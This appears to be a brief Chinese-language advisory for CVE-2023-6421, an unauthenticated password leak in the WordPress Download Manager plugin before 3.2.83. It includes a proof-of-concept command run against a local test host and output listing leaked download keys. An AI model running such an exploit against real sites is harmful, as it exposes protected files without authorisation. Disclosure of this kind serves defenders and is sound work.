CVE 2023 6421

CVE-2023-6421

下载管理器 < 3.2.83 - 未经身份验证的受保护文件下载密码泄漏

描述

该插件不保护文件下载的密码，在收到无效密码时会泄露密码

POC

 python3 CVE-2023-6421.py https://kubernetes.docker.internal
No link generated for ID 1.
No link generated for ID 2.
Response for ID 3: https://kubernetes.docker.internal/?page_id=3&wpdmdl=3&_wpdmkey=6706819b904ce
No link generated for ID 4.
No link generated for ID 5.
No link generated for ID 6.
No link generated for ID 7.
No link generated for ID 8.
Response for ID 9: https://kubernetes.docker.internal/?wpdmdl=9&_wpdmkey=6706819f1b1f6
Response for ID 10: https://kubernetes.docker.internal/1-1/?wpdmdl=10&_wpdmkey=6706819fa0654